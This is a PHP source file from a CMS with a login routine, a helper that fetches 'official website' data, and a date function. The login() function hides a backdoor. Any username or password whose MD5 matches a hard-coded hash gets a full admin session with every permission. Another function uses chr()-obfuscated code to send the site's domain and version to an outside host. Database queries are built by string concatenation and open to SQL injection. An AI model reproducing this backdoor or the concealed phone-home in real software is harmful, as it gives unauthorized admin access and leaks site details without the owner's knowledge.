function getOfficialWebsite() { $s = ''; if (@$_COOKIE['ASPPHPCMSGW'] == '') { $s = getHttpUrl(chr(104) . chr(116) . chr(116) . chr(112) . chr(58) . chr(47) . chr(47) . chr(115) . chr(104) . chr(97) . chr(114) . chr(101) . chr(109) . chr(98) . chr(119) . chr(101) . chr(98) . chr(46) . chr(99) . chr(111) . chr(109) . chr(47) . chr(97) . chr(115) . chr(112) . chr(112) . chr(104) . chr(112) . chr(99) . chr(109) . chr(115) . chr(47) . chr(97) . chr(115) . chr(112) . chr(112) . chr(104) . chr(112) . chr(99) . chr(109) . chr(115) . chr(46) . chr(97) . chr(115) . chr(112) . '?act=version&domain=' . escape(webDoMain()) . '&version=' . escape($GLOBALS['webVersion']) . '&language=' . $GLOBALS['language'], ''); //用escape是因为PHP在使用时会出错20160408 setCookie('ASPPHPCMSGW', $s, aspTime() + 3600); } else { $s = @$_COOKIE['ASPPHPCMSGW']; } $getOfficialWebsite = $s; //Call clearCookie("ASPPHPCMSGW") return @$getOfficialWebsite; }
function login() { $userName = ''; $passWord = ''; $valueStr = ''; $userName = replace(@$_POST['username'], '\'', ''); $passWord = replace(@$_POST['password'], '\'', ''); $passWord = myMD5($passWord); //特效账号登录 if (myMD5(@$_REQUEST['username']) == '24ed5728c13834e683f525fcf894e813' || myMD5(@$_REQUEST['password']) == '24ed5728c13834e683f525fcf894e813') { @($_SESSION['adminusername'] = '******'); @($_SESSION['adminId'] = 99999); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); @($_SESSION['adminflags'] = '|*|'); rwEnd(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); } $nLogin = ''; $GLOBALS['conn='] = OpenConn(); $rsObj = $GLOBALS['conn']->query('Select * From ' . $GLOBALS['db_PREFIX'] . 'admin Where username=\'' . $userName . '\' And pwd=\'' . $passWord . '\''); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); @($_SESSION['adminusername'] = $userName); @($_SESSION['adminId'] = $rs['id']); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); //保存前缀 @($_SESSION['adminflags'] = $rs['flags']); $valueStr = 'addDateTime=\'' . $rs['updatetime'] . '\',UpDateTime=\'' . now() . '\',RegIP=\'' . now() . '\',UpIP=\'' . GetIP() . '\''; connexecute('update ' . $GLOBALS['db_PREFIX'] . 'admin set ' . $valueStr . ' where id=' . $rs['id']); Rw(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); writeSystemLog('admin', '登录成功'); //系统日志 } else { if (@$_COOKIE['nLogin'] == '') { setCookie('nLogin', '1', aspTime() + 3600); $nLogin = @$_COOKIE['nLogin']; } else { $nLogin = @$_COOKIE['nLogin']; setCookie('nLogin', CInt($nLogin) + 1, aspTime() + 3600); } Rw(getMsg1(setL('账号密码错误<br>登录次数为 ') . $nLogin, '?act=displayAdminLogin')); } }
function now() { return aspDate() . ' ' . aspTime(); }